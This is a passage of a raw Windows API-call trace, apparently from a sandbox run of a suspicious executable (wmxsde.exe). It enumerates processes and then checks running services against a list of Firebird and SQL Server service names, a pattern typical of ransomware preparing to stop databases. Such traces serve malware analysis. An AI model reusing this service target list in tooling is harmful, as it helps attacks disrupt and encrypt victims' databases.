th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.615] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.616] lstrlenW (lpString="System") returned 6 [0203.616] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.618] lstrlenW (lpString="smss.exe") returned 8 [0203.618] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.619] lstrlenW (lpString="csrss.exe") returned 9 [0203.619] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.620] lstrlenW (lpString="wininit.exe") returned 11 [0203.620] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.621] lstrlenW (lpString="csrss.exe") returned 9 [0203.621] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.622] lstrlenW (lpString="winlogon.exe") returned 12 [0203.622] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.623] lstrlenW (lpString="services.exe") returned 12 [0203.623] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.624] lstrlenW (lpString="lsass.exe") returned 9 [0203.624] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.625] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.625] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.626] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.626] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.627] lstrlenW (lpString="svchost.exe") returned 11 [0203.627] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.628] lstrlenW (lpString="svchost.exe") returned 11 [0203.628] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.629] lstrlenW (lpString="dwm.exe") returned 7 [0203.630] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.630] lstrlenW (lpString="svchost.exe") returned 11 [0203.631] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.632] lstrlenW (lpString="svchost.exe") returned 11 [0203.632] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.633] lstrlenW (lpString="svchost.exe") returned 11 [0203.633] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.634] lstrlenW (lpString="svchost.exe") returned 11 [0203.634] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.635] lstrlenW (lpString="svchost.exe") returned 11 [0203.635] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.636] lstrlenW (lpString="svchost.exe") returned 11 [0203.636] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.637] lstrlenW (lpString="svchost.exe") returned 11 [0203.638] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.638] lstrlenW (lpString="svchost.exe") returned 11 [0203.639] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.640] lstrlenW (lpString="svchost.exe") returned 11 [0203.640] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.641] lstrlenW (lpString="svchost.exe") returned 11 [0203.641] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.642] lstrlenW (lpString="spoolsv.exe") returned 11 [0203.642] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.643] lstrlenW (lpString="svchost.exe") returned 11 [0203.643] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.644] lstrlenW (lpString="audiodg.exe") returned 11 [0203.644] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0203.645] lstrlenW (lpString="sihost.exe") returned 10 [0203.645] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.646] lstrlenW (lpString="svchost.exe") returned 11 [0203.646] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0203.647] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0203.647] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0203.648] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0203.722] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0203.723] lstrlenW (lpString="Memory Compression") returned 18 [0203.723] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0203.724] lstrlenW (lpString="taskhostw.exe") returned 13 [0203.724] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0203.725] lstrlenW (lpString="msoia.exe") returned 9 [0203.725] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.727] lstrlenW (lpString="explorer.exe") returned 12 [0203.728] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0203.729] lstrlenW (lpString="SearchUI.exe") returned 12 [0203.729] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0203.730] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0203.730] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0203.731] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0203.731] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0203.732] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0203.733] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0203.733] lstrlenW (lpString="wmxsde.exe") returned 10 [0203.734] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.735] lstrlenW (lpString="dllhost.exe") returned 11 [0203.735] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0203.736] lstrlenW (lpString="wmxsde.exe") returned 10 [0203.736] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 0 [0203.737] CloseHandle (hObject=0x2a0) returned 1 [0203.737] Sleep (dwMilliseconds=0x1f4) [0204.466] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f858 [0204.467] EnumServicesStatusExW (in: hSCManager=0x459f858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0204.469] GetLastError () returned 0xea [0204.469] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1ca4) returned 0x7911d0 [0204.469] EnumServicesStatusExW (in: hSCManager=0x459f858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7911d0, cbBufSize=0x1ca4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7911d0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0204.471] CloseServiceHandle (hSCObject=0x459f858) returned 1 [0204.472] lstrlenW (lpString="Appinfo") returned 7 [0204.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0204.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0204.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0204.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0204.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0204.472] lstrlenW (lpString="AppXSvc") returned 7 [0204.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0204.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0204.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0204.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0204.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0204.472] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0204.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0204.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0204.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0204.472] lstrlenW (lpString="Audiosrv") returned 8 [0204.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0204.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0204.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0204.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0204.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0204.473] lstrlenW (lpString="BFE") returned 3 [0204.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0204.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0204.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0204.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0204.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0204.473] lstrlenW (lpString="BITS") returned 4 [0204.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0204.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0204.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0204.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0204.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0204.473] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0204.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0204.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0204.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0204.473] lstrlenW (lpString="CDPSvc") returned 6 [0204.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0204.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0204.473] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0204.473] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0204.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0204.473] lstrlenW (lpString="ClickToRunSvc") returned 13 [0204.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0204.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0204.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0204.474] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0204.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0204.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0204.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0204.474] lstrlenW (lpString="CryptSvc") returned 8 [0204.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0204.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0204.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0204.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0204.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0204.474] lstrlenW (lpString="DcomLaunch") returned 10 [0204.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0204.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0204.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0204.474] lstrlenW (lpString="DeviceAssociationService") returned 24 [0204.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0204.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0204.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0204.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0204.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0204.475] lstrlenW (lpString="Dhcp") returned 4 [0204.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0204.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0204.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0204.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0204.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0204.475] lstrlenW (lpString="Dnscache") returned 8 [0204.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0204.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0204.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0204.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0204.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0204.475] lstrlenW (lpString="DPS") returned 3 [0204.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0204.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0204.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0204.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0204.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0204.475] lstrlenW (lpString="DusmSvc") returned 7 [0204.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0204.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0204.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0204.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0204.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0204.475] lstrlenW (lpString="EventLog") returned 8 [0204.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0204.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0204.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0204.475] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0204.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0204.476] lstrlenW (lpString="EventSystem") returned 11 [0204.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0204.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0204.476] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0204.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0204.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0204.476] lstrlenW (lpString="FontCache") returned 9 [0204.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0204.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0204.476] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0204.476] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0204.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0204.476] lstrlenW (lpString="gpsvc") returned 5 [0204.476] 